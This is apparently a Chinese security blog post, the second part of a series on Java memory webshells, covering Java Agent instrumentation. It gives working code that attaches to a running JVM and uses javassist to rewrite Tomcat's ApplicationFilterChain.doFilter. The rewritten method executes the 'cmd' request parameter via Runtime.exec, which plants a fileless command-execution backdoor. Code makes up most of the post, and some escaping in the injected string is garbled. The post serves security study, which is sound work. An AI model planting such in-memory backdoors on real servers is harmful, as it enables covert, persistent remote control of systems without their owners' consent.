🌟 ❤️
作者:yueji0j1anke
首发于公号:剑客古月的安全屋
字数:5721
阅读时间: 15min
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外
目录
-
前言
-
前置知识
Agent
Demo
-
内存马
Demo进阶
Poc实战
-
总结
0x01 前言介绍
本文续接上篇,继续深入解读java内存马。
本篇的重点是Agent型内存马
0x02 前置知识
1.Java Agent
Java语言在运行前会被编译成class文件,在安卓中就是dex文件,随后交给JVM去将Java字节码翻译成机器码,在具体的硬件中去运行。
Java Agent允许开发者在运行时动态修改Java字节码,从而完成动态加载、修改、操控、拦截类
2.Example Demo
对于Agent亦有分类,premain
方法(如果在应用启动时执行)与agentmain
方法(如果在运行时附加)
这里展示一个简单的Demo
package com.demo.example.Agent;
import java.lang.instrument.Instrumentation;
public class DemoAgent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("This is a Java Agent: premain is called!");
// 可以通过 inst 对象对类加载进行修改
}
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("This is a Java Agent: agentmain is called!");
// 可以在运行时附加到 JVM,并对类字节码进行修改
}
}
修改resource/META-INF/的MANIFEST.MF(如果没有就创建),需要包含两类属性
Manifest-Version: 1.0
Premain-Class: com.demo.example.Agent.DemoAgent
Agent-Class: com.demo.example.Agent.DemoAgent
然后打包执行jar文件,并添加JVM选项
-javaagent:"D:/example/out/artifacts/example_jar/example.jar"
运行程序
在运行前调用了premain方法
下面演示如何调用agentmain-agent,其能在jvm启动之后加载并实现修改字节码
需要实现一个类来模拟正在运行的jvm
package com.demo.example.Agent;
import static java.lang.Thread.sleep;
public class HelloAgent {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("fucking jvm");
sleep(5000);
}
}
}
随后获取我们对应HelloAgent的pid并注入agent完成修改字节码
package com.demo.example.Agent;
import java.io.IOException;
import java.util.List;
import com.sun.tools.attach.*;
public class InjectAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为BeinjectAgent则连接该JVM并加载特定Agent
System.out.println(vmd.displayName());
if(vmd.displayName().contains("HelloAgent")){
System.out.println("发现目标!!!");
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:/example/out/artifacts/example_jar/example.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
随后运行此类模拟运行jvm
然后运行InjectDemo去修改进程码
成功调用执行(有点像栈溢出,但原理完全不同)
0x03 Agent 内存马
在正式的应用中,我们会通过JVMTIAgent的Instrumentation功能区域目标JVM交互,以达到动态修改已有字节码完成命令注入
而具体实现,则是通过Instrumentation接口中的addTransformer()方法将转换后的字节码注入到目标JVM中
1.进阶Demo
具体就相当于劫持一样,之前我们给出的demo只是在运行前后调用agent对应方法,这里给出个进阶版demo,修改对应JVM里的字节码
首先创建一个被修改的运行对象
package com.demo.example.Agent;
import static java.lang.Thread.sleep;
public class BeinjectedAgent {
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(4000);
}
}
public static void hello(){
System.out.println("Dont inject me!");
}
}
其次获取运行JVM中的对象,并进行注入
package com.demo.example.Agent;
import java.io.IOException;
import java.util.List;
import com.sun.tools.attach.*;
public class InjectAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为BeinjectAgent则连接该JVM并加载特定Agent
System.out.println(vmd.displayName());
if(vmd.displayName().contains("BeinjectedAgent")){
System.out.println("发现目标!!!");
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:/example/out/artifacts/example_jar/example.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
对应agent方法
package com.demo.example.Agent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class DemoAgent {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
try {
Class[] classes = inst.getAllLoadedClasses();
// 获取目标JVM加载的全部类
for (Class cls : classes) {
if (cls.getName().contains("BeinjectedAgent")) {
// 添加一个 transformer 到 Instrumentation,并重新触发目标类加载
inst.addTransformer(new TrainAgent(), true);
inst.retransformClasses(cls);
}
}
} catch (UnmodifiableClassException e) {
System.err.println("Error: The class cannot be modified - " + e.getMessage());
e.printStackTrace();
} catch (Exception e) {
System.err.println("An unexpected error occurred: " + e.getMessage());
e.printStackTrace();
}
}
}
对应对其进行修改
package com.demo.example.Agent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TrainAgent implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("com.demo.example.Agent.BeinjectedAgent");
System.out.println(ctClass);
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
//设置方法体
String body = "{System.out.println("You are fucked!");}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
对应的MANIFEST.MF文件如下
Manifest-Version: 1.0
Agent-Class: com.demo.example.Agent.DemoAgent
Premain-Class: com.demo.example.Agent.DemoAgent
Can-Retransform-Classes: true
运行被修改方法
随后运行修改字节码方法
对应输出语句被彻底修改
2.Instrumentation
我对于Instrumentation的功能理解类似于Frida的hook,可以动态插桩到虚拟机(内存)进行相关方法的修改,但此类方法存在以下限制:
1. 无法修改类的结构
限制:Instrumentation 允许修改类的方法体或字段的值,但不能更改类的结构。具体来说:
不能添加或删除类的字段或方法。
不能修改类的继承结构,即不能改变类的父类或它实现的接口。
不能添加或删除接口。
原因:JVM 类加载机制对类的结构(例如字段和方法签名、继承关系)有严格要求,一旦类加载完毕,其结构被锁定。因此,Instrumentation 只能修改已加载类的行为,而不能改变其形状。
2. 动态加载的类无法预先修改
限制:Instrumentation 提供的方法 addTransformer 和 retransformClasses 只能作用于已经加载的类。如果类在 JVM 启动时尚未加载,就无法预先修改这些类的字节码。
解决办法:可以通过 ClassFileTransformer 拦截类的首次加载,在加载前修改字节码。但这仍然依赖于类首次被加载时的时机,无法提前对所有类进行修改。
3. 无法修改核心 JVM 类
限制:Instrumentation 不允许修改某些核心类(如 java.lang.String、java.lang.Object 等)。这些类是 JVM 启动时加载的,修改它们会带来潜在的安全和稳定性风险。
原因:为了保证 JVM 的稳定性,JVM 对某些核心类进行了保护,避免对它们进行重转换或重新定义。
4. 无法持久化字节码修改
限制:通过 Instrumentation 对类的修改只在当前 JVM 运行时有效,类的修改不会持久化到磁盘。如果 JVM 重启,所有的类都会恢复为原始状态。
原因:Instrumentation 只在 JVM 运行时修改类的字节码,而不会直接修改 .class 文件或 JAR 文件。因此,每次 JVM 重新启动,类都会重新加载未修改的版本。
5. 需要特定权限
限制:Java Agent 需要一些额外的权限,尤其是在某些受限环境中(如 Applet 或 Web 应用)可能无法使用 Instrumentation。
原因:Instrumentation 操作涉及对类的字节码进行修改,这被视为潜在的安全风险。因此在某些环境中,Instrumentation 可能无法正常工作,除非获得特殊权限。
3.POC实战
这里做一个Spring的Agent内存马
我们可以在上述的讲解中知晓,执行poc的核心逻辑在transform函数中,由他负责修改字节码
那我们就利用Agent功能动态修改字节码增加一个filter(请求通过Spring容器必会触发filter责任链)去实现命令执行
首先修改agentmain函数
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
try {
Class[] classes = inst.getAllLoadedClasses();
// 获取目标JVM加载的全部类
for (Class cls : classes) {
if (cls.getName().contains("org.apache.catalina.core.ApplicationFilterChain")) {
System.out.println("成功触发demoagent");
// 添加一个 transformer 到 Instrumentation,并重新触发目标类加载
inst.addTransformer(new TrainAgent(), true);
inst.retransformClasses(cls);
}
}
} catch (UnmodifiableClassException e) {
System.err.println("Error: The class cannot be modified - " + e.getMessage());
e.printStackTrace();
} catch (Exception e) {
System.err.println("An unexpected error occurred: " + e.getMessage());
e.printStackTrace();
}
}
随后修改字节码操作如下
package com.demo.example.Agent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TrainAgent implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("正在触发中...");
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
System.out.println(ctClass);
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1n;" +
"String cmd=request.getParameter("cmd");n" +
"if (cmd !=null){n" +
" Runtime.getRuntime().exec(cmd);n" +
" }"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
现在运行springboot主程序,发送请求后运行注射修改类
0x04 总结
Servlet-api型内存马与Agent内存马篇至此已全部完成,从context、pipeline到Agent机制,Java里面所蕴含的架构确实足够我们安全人员去细细挖掘深思。
原文始发于微信公众号(剑客古月的安全屋):Java安全-深度剖析内存马&下篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论